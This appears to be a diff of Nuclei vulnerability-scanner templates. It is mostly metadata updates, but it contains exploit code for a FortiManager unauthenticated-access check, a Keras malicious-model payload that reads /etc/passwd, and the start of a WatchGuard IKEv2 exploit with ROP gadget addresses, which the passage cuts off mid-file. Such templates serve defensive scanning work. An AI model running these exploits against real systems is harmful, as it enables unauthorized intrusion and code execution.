classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-47575
|
||||
cwe-id: CWE-306
|
||||
epss-score: 0.93865
|
||||
epss-percentile: 0.99858
|
||||
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
|
||||
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
keysDir: "helpers/payloads/cve-2024-475759-keys"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
source: |
|
||||
import socket
|
||||
import struct
|
||||
import ssl
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format='%(message)s')
|
||||
|
||||
FW_VERSION = None
|
||||
|
||||
def create_ssl_context():
|
||||
keys_dir = os.getenv("keysDir", "helpers/payloads/cve-2024-47575-keys")
|
||||
cert_path = os.path.join(keys_dir, "w00t_cert.bin")
|
||||
key_path = os.path.join(keys_dir, "w00t_key.bin")
|
||||
|
||||
try:
|
||||
if os.path.isfile(cert_path) and os.path.isfile(key_path):
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
||||
context.load_cert_chain(certfile=cert_path, keyfile=key_path)
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
logging.debug(f"Loaded certificate from {cert_path}")
|
||||
logging.debug(f"Loaded key from {key_path}")
|
||||
return context
|
||||
else:
|
||||
logging.debug(f"Certificate or key not found: {cert_path}, {key_path}")
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
return context
|
||||
except Exception as e:
|
||||
logging.debug(f"Failed to load certificates: {e}")
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
||||
context.check_hostname = False
|
||||
context.verify_mode = ssl.CERT_NONE
|
||||
return context
|
||||
|
||||
def send_message(sock, request):
|
||||
message = struct.pack(">II", 0x36e01100, len(request) + 8) + request
|
||||
sock.send(message)
|
||||
hdr = sock.read(8)
|
||||
if len(hdr) != 8:
|
||||
return None
|
||||
magic, size = struct.unpack(">II", hdr)
|
||||
return sock.read(size - 8)
|
||||
|
||||
def check_vulnerability(target_ip, target_port, timeout=10):
|
||||
global FW_VERSION
|
||||
|
||||
auth_request = b"get auth\r\nserialno=FGVMEVWG8YMT3R63\r\nmgmtid=00000000-0000-0000-0000-000000000000\r\nplatform=FortiGate-60E\r\nfos_ver=700\r\nminor=2\r\npatch=4\r\nbuild=1396\r\nbranch=1396\r\nmaxvdom=2\r\nfg_ip=192.168.1.53\r\nhostname=FortiGate\r\nharddisk=yes\r\nbiover=04000002\r\nharddisk_size=30720\r\nlogdisk_size=30107\r\nmgmt_mode=normal\r\nenc_flags=0\r\nmgmtip=192.168.1.53\r\nmgmtport=443\r\n\x00"
|
||||
|
||||
file_exchange_request = b"get file_exchange\r\nlocalid=123\r\nchan_window_sz=32768\r\ndeflate=gzip\r\nfile_exch_cmd=put_json_cmd\r\n\r\n\x00"
|
||||
|
||||
context = create_ssl_context()
|
||||
sock = socket.create_connection((target_ip, target_port), timeout=timeout)
|
||||
ssl_sock = context.wrap_socket(sock)
|
||||
|
||||
response = send_message(ssl_sock, auth_request)
|
||||
if not response:
|
||||
ssl_sock.close()
|
||||
return False, None
|
||||
|
||||
response = send_message(ssl_sock, file_exchange_request)
|
||||
if not response:
|
||||
ssl_sock.close()
|
||||
return False, None
|
||||
|
||||
try:
|
||||
response_str = response.decode('utf-8', errors='ignore')
|
||||
for line in response_str.split('\r\n'):
|
||||
if 'remoteid=' in line:
|
||||
remote_id = line.split('=')[1].strip()
|
||||
if remote_id:
|
||||
ssl_sock.close()
|
||||
return True, FW_VERSION
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
ssl_sock.close()
|
||||
return False, FW_VERSION
|
||||
|
||||
def main():
|
||||
host = os.getenv("HOST")
|
||||
port = os.getenv("PORT")
|
||||
|
||||
target_port = int(port) if port else 541
|
||||
|
||||
is_vulnerable, fw_version = check_vulnerability(host, target_port)
|
||||
|
||||
if is_vulnerable:
|
||||
if fw_version:
|
||||
print(f"Vulnerable Version {fw_version}")
|
||||
else:
|
||||
print("Vulnerable")
|
||||
else:
|
||||
if fw_version:
|
||||
print(f"NOT VULN Version {fw_version}")
|
||||
else:
|
||||
print("NOT VULN")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Vulnerable"
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 4a0a00473045022100c88f6d837fa2686dde19f9b77dab6f5c8a5825c0f1d153e6208f489eca85fee002205b6c68ad4e1dc544604ef0122e9575e3dead2b352d5be36d0eb4ebb3a5b87fb2:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,14 +17,14 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-55556
|
||||
cwe-id: CWE-502
|
||||
epss-score: 0.85568
|
||||
epss-percentile: 0.99322
|
||||
epss-score: 0.7976
|
||||
epss-percentile: 0.99064
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 2
|
||||
shodan-query: 'http.title:"InvoiceShelf"'
|
||||
fofa-query: 'title="InvoiceShelf"'
|
||||
tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln
|
||||
tags: cve,cve2024,invoiceshelf,rce,deserialization
|
||||
|
||||
variables:
|
||||
marker: "{{randstr}}"
|
||||
@@ -193,4 +193,4 @@ http:
|
||||
- type: status
|
||||
status:
|
||||
- 500
|
||||
# digest: 4a0a00473045022100b6fcc8dbe04df0c042479292d3bdbb04fa90fbd39956165c29588bfdf9f5fbfe0220042629ab78737bbceb9076d29e82159d1a14929893815826330324270a98465b:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100fa051fc59c7e7a9bf4857e279185fde62cce5223f4667bf9566e558ea57b4e5702205d4082e4fe67bb7e9e411d5b174ffc7d30c3b1d3386ef0b2d6ff0f54e3e10239:922c64590222798bb761d5b6d8e72950
|
||||
@@ -22,13 +22,13 @@ info:
|
||||
cve-id: CVE-2024-56331
|
||||
cwe-id: CWE-22
|
||||
epss-score: 0.41406
|
||||
epss-percentile: 0.97243
|
||||
epss-percentile: 0.97316
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.title:"Uptime Kuma"
|
||||
product: uptime-kuma
|
||||
vendor: uptime-kuma
|
||||
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln
|
||||
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure
|
||||
|
||||
variables:
|
||||
username: "{{username}}"
|
||||
@@ -124,4 +124,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
|
||||
# digest: 4a0a0047304502203f480171de008180e091e1c69fb2006c3434e7b60a3094b4caab19c092ba9f2a022100ecc347483a547ca12e83b2813917e34d1d09c2932f96950dbb0d9d29dc19bc19:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a004630440220259b9d3f4f8b3d35617cce55835742fa258a9ef1bc818b413d8dd0463a62f39a0220333b38a3bfc6122f169c016fa4cb7a5e7022341d24f3a852458d14cd2b9bd35b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -10,12 +10,12 @@ info:
|
||||
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
|
||||
- https://github.com/advisories/GHSA-g83h-4727-5rpv
|
||||
classification:
|
||||
epss-score: 0.53044
|
||||
epss-percentile: 0.97826
|
||||
epss-score: 0.37459
|
||||
epss-percentile: 0.97076
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"GitHub Enterprise"
|
||||
tags: cve,cve2024,github,ghe,saml,auth-bypass,sso,vuln
|
||||
tags: cve,cve2024,github,ghe,saml,auth-bypass,sso
|
||||
|
||||
code:
|
||||
- engine:
|
||||
@@ -188,4 +188,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- user_session
|
||||
# digest: 4a0a00473045022100aa88f44216574d162c09bcff77b81c0b203d0041324899f1c8d066c81032e45d0220049e79aa14c431d3b4afe4ebcf56cd327f3949c8183bb31b921f0ce9a4026b30:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502210098d0cf40c518b1e5dd7c9c6116cf3dcee813fb46337e51021ad48a04d3ee9c970220736ff6eea6e59f85d88a89d06c4b0bbf1fa25bc6dbdf1966bdf68ce37e2b8d95:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,80 +0,0 @@
|
||||
id: CVE-2025-1550
|
||||
|
||||
info:
|
||||
name: Keras Model.load_model - Arbitrary Code Execution
|
||||
author: nukunga[seunghyeonJeon]
|
||||
severity: critical
|
||||
description: |
|
||||
The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
|
||||
impact: |
|
||||
Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
|
||||
remediation: |
|
||||
Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-1550
|
||||
- https://github.com/keras-team/keras/pull/20751
|
||||
- https://towerofhanoi.it/writeups/cve-2025-1550/
|
||||
classification:
|
||||
epss-score: 0.04785
|
||||
epss-percentile: 0.88996
|
||||
metadata:
|
||||
max-request: 1
|
||||
tags: cve,cve2025,code,keras,rce,ml
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
|
||||
source: |
|
||||
import os
|
||||
import sys
|
||||
|
||||
try:
|
||||
import tensorflow as tf
|
||||
from tensorflow.keras.models import load_model
|
||||
from tensorflow.keras.layers import Lambda, Input
|
||||
from tensorflow.keras.models import Model
|
||||
import numpy as np
|
||||
except ImportError:
|
||||
sys.exit(1)
|
||||
|
||||
def create_malicious_model():
|
||||
def malicious_function(x):
|
||||
result = os.popen("cat /etc/passwd").read()
|
||||
print(result)
|
||||
return x
|
||||
|
||||
input_layer = Input(shape=(1,))
|
||||
lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
|
||||
model = Model(inputs=input_layer, outputs=lambda_layer)
|
||||
return model
|
||||
|
||||
def exploit_lambda_layer():
|
||||
model_path = "/tmp/malicious_model.keras"
|
||||
try:
|
||||
model = create_malicious_model()
|
||||
model.save(model_path)
|
||||
del model
|
||||
|
||||
loaded_model = load_model(model_path)
|
||||
test_input = np.array([[1.0]])
|
||||
loaded_model.predict(test_input, verbose=0)
|
||||
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
finally:
|
||||
if os.path.exists(model_path):
|
||||
os.remove(model_path)
|
||||
|
||||
exploit_lambda_layer()
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: response
|
||||
regex:
|
||||
- "root:.*:0:0:"
|
||||
# digest: 490a0046304402202702fa4fb794de06a6a7fb798def00e5e59d05c49c4465820eb9696ce1d7035d022055d99fa4c72b348988ffa7363abadee5549d20fb36240cf9b6ac322211652178:922c64590222798bb761d5b6d8e72950
|
||||
@@ -2,7 +2,7 @@ id: CVE-2025-22457
|
||||
|
||||
info:
|
||||
name: Ivanti Connect Secure - Stack-based Buffer Overflow
|
||||
author: s4e-io,pussycat0x
|
||||
author: s4e-io
|
||||
severity: critical
|
||||
description: |
|
||||
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
|
||||
@@ -21,8 +21,8 @@ info:
|
||||
cvss-score: 9.0
|
||||
cve-id: CVE-2025-22457
|
||||
cwe-id: CWE-121,CWE-787
|
||||
epss-score: 0.76863
|
||||
epss-percentile: 0.98895
|
||||
epss-score: 0.75813
|
||||
epss-percentile: 0.98866
|
||||
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: ivanti
|
||||
@@ -31,29 +31,12 @@ info:
|
||||
fofa-query: title="ivanti connect secure"
|
||||
zoomeye-query: title:"ivanti connect secure"
|
||||
google-query: intitle:"ivanti connect secure"
|
||||
tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln
|
||||
tags: cve,cve2025,ivanti,intrusive,kev
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
|
||||
flow: http () && code()
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
- "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
internal: true
|
||||
dsl:
|
||||
- 'contains(body, "Ivanti Connect Secure")'
|
||||
- 'status_code == 200'
|
||||
condition: and
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
@@ -128,4 +111,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "VULNERABLE:"
|
||||
# digest: 490a0046304402202c5cae79496de4e30915b77c571fa5839b41e803432ca3890748d12311562a0a02206abec4b11a87a39174bfe2672f6fce818e87cc0ef263513d55dee76ebb646a60:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022010a8f629eee896b0e12b30f5c1f91d7bd0b5cefe225b41b13fe1d8442c7be19c0220121cac3633f4a67d0cbb75caf1b16b6c5dc0dd7dc3ea4bb2f70e85b38899bfc2:922c64590222798bb761d5b6d8e72950
|
||||
@@ -19,8 +19,8 @@ info:
|
||||
cvss-score: 9.3
|
||||
cve-id: CVE-2025-25291
|
||||
cwe-id: CWE-347
|
||||
epss-score: 0.17247
|
||||
epss-percentile: 0.9476
|
||||
epss-score: 0.13868
|
||||
epss-percentile: 0.94062
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: gitlab
|
||||
@@ -35,7 +35,7 @@ info:
|
||||
- body="gitlab-ci.yml"
|
||||
- title="gitlab"
|
||||
google-query: intitle:"gitlab"
|
||||
tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln
|
||||
tags: cve,cve2025,saml,auth-bypass,gitlab,code
|
||||
|
||||
code:
|
||||
- engine:
|
||||
@@ -78,4 +78,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- _gitlab_session
|
||||
# digest: 4a0a00473045022100d02dbf992fe6c05fc7cf15e6f638957a05b46bdc14421e9a73a277315636e46202206cf9c278e3e4483d0380149c1cd27f04c6fe03d2766f96a6472b7bc2a5a6525f:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100f7d161a12086fc8c46989ab1fc0482bbadac8b1e8e3aba4c76c9e401d58fcaa1022026867b28fa1f5206a3c7f6107a921cfb4ee1625723b306ca49d72d110f5b5106:922c64590222798bb761d5b6d8e72950
|
||||
@@ -20,13 +20,13 @@ info:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2025-32433
|
||||
cwe-id: CWE-306
|
||||
epss-score: 0.41165
|
||||
epss-percentile: 0.97228
|
||||
epss-score: 0.6781
|
||||
epss-percentile: 0.98529
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
shodan-query: "Erlang OTP"
|
||||
tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev,vkev,vuln
|
||||
tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev
|
||||
|
||||
variables:
|
||||
OAST: "{{interactsh-url}}"
|
||||
@@ -172,4 +172,4 @@ code:
|
||||
dsl:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
condition: and
|
||||
# digest: 4b0a0048304602210089db0a1b82c25420d5775a0b8983ab84d65a12197d4a55d699699e6a05981174022100e479f8d8134ea9933fa0d0e6d4da76bd50b2063e65dc7000b468b988e841e42a:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502202c0e1736b21b2b04c9e2bba10105fce2454bf000eafeb60c54440aa6ab8577e2022100dc310090bbdd573095c7bfc7b0ca9cfb7803850569eeb00d26ed930a6de7d09f:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,8 +17,8 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-54309
|
||||
epss-score: 0.49642
|
||||
epss-percentile: 0.97665
|
||||
epss-score: 0.38408
|
||||
epss-percentile: 0.97144
|
||||
cwe-id: CWE-287,CWE-362
|
||||
cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
@@ -33,7 +33,7 @@ info:
|
||||
- icon_hash="-1022206565"
|
||||
zoomeye-query: title:"crushftp"
|
||||
google-query: intitle:"crushftp"
|
||||
tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev,vkev,vuln
|
||||
tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
@@ -200,4 +200,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "VULNERABLE:"
|
||||
# digest: 4a0a0047304502206f8a0decbbd1459c672aa1bb7894d90045fc531da688cee0129b76714fcb72fa022100e3ef9478a6a4129252b8d7232284f9982ea667e6a19e4752529259b47bd482f5:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100c529f1fafe8bdf1066e8a5c7a1727d6c8280aef2a548f6556f77ede97a8cc96d022005d243bdc26387de80acc4b58779edb49b4b43a834c96ac15893c2ec7db4c856:922c64590222798bb761d5b6d8e72950
|
||||
@@ -15,8 +15,8 @@ info:
|
||||
- https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-6216
|
||||
classification:
|
||||
epss-score: 0.23131
|
||||
epss-percentile: 0.95705
|
||||
epss-score: 0.16633
|
||||
epss-percentile: 0.9467
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-6216
|
||||
@@ -29,7 +29,7 @@ info:
|
||||
product: allegra
|
||||
shodan-query: http.favicon.hash:"284403119"
|
||||
fofa-query: icon_hash="284403119"
|
||||
tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset,vuln
|
||||
tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
|
||||
|
||||
variables:
|
||||
email: "[email protected]" # Change to a test account
|
||||
@@ -115,4 +115,4 @@ code:
|
||||
- type: dsl # type of the extractor
|
||||
dsl:
|
||||
- '"Reset URL: " + code_response'
|
||||
# digest: 4b0a00483046022100c6bece7478ac45f88871c6cd3f14651af44d06e06535d8508463675cc7866b31022100b19320a88d18c8d48a7ba4b3a4cc01b24c7dda839140e4c790864b4ca94f0a0e:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100ac5ad3e7afcf966f60b3991e4f4b78c209538919f85eb355d9ea90188f460000022100ad77b02aef3db845703bedc7e64036254b398cc846ba508cb2d1451c1d3f35b4:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,555 +0,0 @@
|
||||
id: CVE-2025-9242
|
||||
|
||||
info:
|
||||
name: WatchGuard IKEv2 Out-of-Bounds Write Vulnerability
|
||||
author: pussycat0x,DhiyaneshDK,watchTowr
|
||||
severity: critical
|
||||
description: |
|
||||
WatchGuard Fireware OS 11.10.2 to 11.12.4_Update1, 12.0 to 12.11.3, and 2025.1 contains an out-of-bounds write caused by improper handling in Mobile User VPN and Branch Office VPN with IKEv2 dynamic gateway peer, letting remote unauthenticated attackers execute arbitrary code.
|
||||
impact: |
|
||||
Remote unauthenticated attackers can execute arbitrary code, potentially leading to full system compromise.
|
||||
remediation: |
|
||||
Update to the latest Fireware OS version beyond 2025.1.
|
||||
reference:
|
||||
- https://github.com/watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242/
|
||||
- https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2025-9242
|
||||
cwe-id: CWE-787,CWE-362
|
||||
epss-score: 0.7437
|
||||
epss-percentile: 0.98776
|
||||
cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: html:"Watchguard" html:"Authentication Server"
|
||||
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
|
||||
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
source: |
|
||||
import socket
|
||||
import struct
|
||||
import random
|
||||
import enum
|
||||
import hashlib
|
||||
import hmac
|
||||
import logging
|
||||
import base64
|
||||
import binascii
|
||||
import re
|
||||
import sys
|
||||
import os
|
||||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(level=logging.INFO, format='%(message)s')
|
||||
|
||||
FW_VERSION = None
|
||||
BUILD_NUMBER = None
|
||||
|
||||
class WatchGuardFw:
|
||||
ADDRESSES = {
|
||||
'12.11.3': {
|
||||
'pop_rcx_ret': 0x4225ab,
|
||||
'mov_rax_rcx_ret': 0x5a4fac,
|
||||
'mov_rbp_rsp_call_rax': 0x42008d,
|
||||
'pop_r13_ret': 0x594ac4,
|
||||
'mov_rax_rbp_pop_rbx_pop_rbp_ret': 0x598d69,
|
||||
'sub_rax_rcx_ret': 0x5a4fd8,
|
||||
'push_rax_mov_rax_rbx_pop_rbx_ret': 0x5a4468,
|
||||
'mov_rdi_rbx_call_rax': 0x42fce4,
|
||||
'pop_rsi_ret': 0x508ece,
|
||||
'pop_rdx_ret': 0x483a4a,
|
||||
'mov_rax_rax_ret': 0x5b145e,
|
||||
'jmp_rax': 0x41908f,
|
||||
'jmp_rbx': 0x449ba3,
|
||||
'offset_data': 0x00,
|
||||
'offset_shellcode': 0x30,
|
||||
'offset_stack': 0x340,
|
||||
'offset_stack_page_aligned': 0x0cc8,
|
||||
'offset_bind_mprotect': 0x5ea0,
|
||||
'got_bind': 0x658028,
|
||||
},
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def version_tuple(v):
|
||||
return tuple(map(int, (v.split("."))))
|
||||
|
||||
class PayloadType(enum.IntEnum):
|
||||
NONE = 0
|
||||
TRANSFORM = 3
|
||||
SECURITY_ASSOCIATION = 33
|
||||
KEY_EXCHANGE = 34
|
||||
IDENTIFIER_INITIATOR = 35
|
||||
IDENTIFIER_RESPONDER = 36
|
||||
CERTIFICATE = 37
|
||||
CERTIFICATE_REQUEST = 38
|
||||
AUTHENTICATION = 39
|
||||
NONCE = 40
|
||||
NOTIFY = 41
|
||||
DELETE = 42
|
||||
VENDOR_ID = 43
|
||||
TRAFFIC_SELECTOR_INITIATOR = 44
|
||||
TRAFFIC_SELECTOR_RESPONDER = 45
|
||||
ENCRYPTED = 46
|
||||
CONFIGURATION = 47
|
||||
EXTENSIBLE_AUTHENTICATION = 48
|
||||
|
||||
class ExchangeType(enum.IntEnum):
|
||||
IKE_SA_INIT = 34
|
||||
IKE_AUTH = 35
|
||||
CREATE_CHILD_SA = 36
|
||||
INFORMATIONAL = 37
|
||||
|
||||
class TransformType(enum.IntEnum):
|
||||
ENCRYPTION_ALGORITHM = 1
|
||||
PSEUDO_RANDOM_FUNCTION = 2
|
||||
INTEGRITY_ALGORITHM = 3
|
||||
DIFFIE_HELLMAN_GROUP = 4
|
||||
|
||||
class NotifyType(enum.IntEnum):
|
||||
UNSUPPORTED_CRITICAL_PAYLOAD = 1
|
||||
INVALID_IKE_SPI = 4
|
||||
INVALID_MAJOR_VERSION = 5
|
||||
INVALID_SYNTAX = 7
|
||||
INVALID_MESSAGE_ID = 9
|
||||
INVALID_SPI = 11
|
||||
NO_PROPOSAL_CHOSEN = 14
|
||||
INVALID_KE_PAYLOAD = 17
|
||||
AUTHENTICATION_FAILED = 24
|
||||
SINGLE_PAIR_REQUIRED = 34
|
||||
NO_ADDITIONAL_SAS = 35
|
||||
INTERNAL_ADDRESS_FAILURE = 36
|
||||
FAILED_CP_REQUIRED = 37
|
||||
TS_UNACCEPTABLE = 38
|
||||
INVALID_SELECTORS = 39
|
||||
INITIAL_CONTACT = 16384
|
||||
SET_WINDOW_SIZE = 16385
|
||||
ADDITIONAL_TS_POSSIBLE = 16386
|
||||
IPCOMP_SUPPORTED = 16387
|
||||
NAT_DETECTION_SOURCE_IP = 16388
|
||||
NAT_DETECTION_DESTINATION_IP = 16389
|
||||
COOKIE = 16390
|
||||
USE_TRANSPORT_MODE = 16391
|
||||
HTTP_CERT_LOOKUP_SUPPORTED = 16392
|
||||
REKEY_SA = 16393
|
||||
ESP_TFC_PADDING_NOT_SUPPORTED = 16394
|
||||
NON_FIRST_FRAGMENTS_ALSO = 16395
|
||||
MOBIKE_SUPPORTED = 16396
|
||||
MULTIPLE_AUTH_SUPPORTED = 16404
|
||||
REDIRECT_SUPPORTED = 16406
|
||||
IKEV2_FRAGMENTATION_SUPPORTED = 16430
|
||||
SIGNATURE_HASH_ALGORITHMS = 16431
|
||||
|
||||
class EncryptionAlgorithm(enum.IntEnum):
|
||||
ENCR_DES_IV64 = 1
|
||||
ENCR_DES = 2
|
||||
ENCR_3DES = 3
|
||||
ENCR_RC5 = 4
|
||||
ENCR_IDEA = 5
|
||||
ENCR_CAST = 6
|
||||
ENCR_BLOWFISH = 7
|
||||
ENCR_3IDEA = 8
|
||||
ENCR_DES_IV32 = 9
|
||||
RESERVED = 10
|
||||
ENCR_NULL = 11
|
||||
ENCR_AES_CBC = 12
|
||||
ENCR_AES_CTR = 13
|
||||
ENCR_AES_CCM_8 = 14
|
||||
ENCR_AES_CCM_12 = 15
|
||||
ENCR_AES_CCM_16 = 16
|
||||
ENCR_AES_GCM_8 = 18
|
||||
ENCR_AES_GCM_12 = 19
|
||||
ENCR_AES_GCM_16 = 20
|
||||
ENCR_NULL_AUTH_AES_GMAC = 21
|
||||
P1619_XTS_AES = 22
|
||||
ENCR_CAMELLIA_CBC = 23
|
||||
ENCR_CAMELLIA_CTR = 24
|
||||
ENCR_CAMELLIA_CCM_8 = 25
|
||||
ENCR_CAMELLIA_CCM_12 = 26
|
||||
ENCR_CAMELLIA_CCM_16 = 27
|
||||
ENCR_CHACHA20_POLY1305 = 28
|
||||
ENCR_AES_CCM_8_IIV = 29
|
||||
ENCR_AES_GCM_16_IIV = 30
|
||||
ENCR_CHACHA20_POLY1305_IIV = 31
|
||||
ENCR_KUZNYECHIK_MGM_KTREE = 32
|
||||
ENCR_MAGMA_MGM_KTREE = 33
|
||||
ENCR_KUZNYECHIK_MGM_MAC_KTREE = 34
|
||||
ENCR_MAGMA_MGM_MAC_KTREE = 35
|
||||
|
||||
class PseudoRandomFunction(enum.IntEnum):
|
||||
PRF_HMAC_MD5 = 1
|
||||
PRF_HMAC_SHA1 = 2
|
||||
PRF_HMAC_TIGER = 3
|
||||
PRF_AES128_XCBC = 4
|
||||
PRF_HMAC_SHA2_256 = 5
|
||||
PRF_HMAC_SHA2_384 = 6
|
||||
PRF_HMAC_SHA2_512 = 7
|
||||
PRF_AES128_CMAC = 8
|
||||
PRF_HMAC_STREEBOG_512 = 9
|
||||
|
||||
class IntegrityAlgorithm(enum.IntEnum):
|
||||
AUTH_HMAC_MD5_96 = 1
|
||||
AUTH_HMAC_SHA1_96 = 2
|
||||
AUTH_DES_MAC = 3
|
||||
AUTH_KPDK_MD5 = 4
|
||||
AUTH_AES_XCBC_96 = 5
|
||||
AUTH_HMAC_MD5_128 = 6
|
||||
AUTH_HMAC_SHA1_160 = 7
|
||||
AUTH_AES_CMAC_96 = 8
|
||||
AUTH_AES_128_GMAC = 9
|
||||
AUTH_AES_192_GMAC = 10
|
||||
AUTH_AES_256_GMAC = 11
|
||||
AUTH_HMAC_SHA2_256_128 = 12
|
||||
AUTH_HMAC_SHA2_384_192 = 13
|
||||
AUTH_HMAC_SHA2_512_256 = 14
|
||||
|
||||
class DiffieHellmanGroup(enum.IntEnum):
|
||||
DH_GROUP_2048_BIT_MODP = 14
|
||||
DH_GROUP_768_BIT_MODP = 1
|
||||
DH_GROUP_1024_BIT_MODP = 2
|
||||
DH_GROUP_1536_BIT_MODP = 5
|
||||
DH_GROUP_3072_BIT_MODP = 15
|
||||
DH_GROUP_4096_BIT_MODP = 16
|
||||
DH_GROUP_6144_BIT_MODP = 17
|
||||
DH_GROUP_8192_BIT_MODP = 18
|
||||
RANDOM_ECP_GROUP_256_BIT = 19
|
||||
RANDOM_ECP_GROUP_384_BIT = 20
|
||||
RANDOM_ECP_GROUP_521_BIT = 21
|
||||
DH_GROUP_1024_BIT_MODP_WITH_160_BIT_PRIME_ORDER_SUBGROUP = 22
|
||||
DH_GROUP_2048_BIT_MODP_WITH_224_BIT_PRIME_ORDER_SUBGROUP = 23
|
||||
